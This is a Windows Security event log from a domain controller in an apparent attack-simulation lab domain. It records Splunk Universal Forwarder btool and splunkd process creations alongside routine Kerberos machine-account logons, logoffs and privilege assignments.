	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x7e0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7e0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11c8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x128c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x122c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1140
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252087
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14EABC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252086
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14EABC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64592

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252085
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14EABC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252084
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14EA5B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252083
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14EA5B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64591

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252082
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14EA5B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252081
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14E9F5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252080
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14E9F5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64590

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252079
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14E9F5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252078
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14E994

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252077
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14E994
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64589

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252076
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14E994

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x106c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x106c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
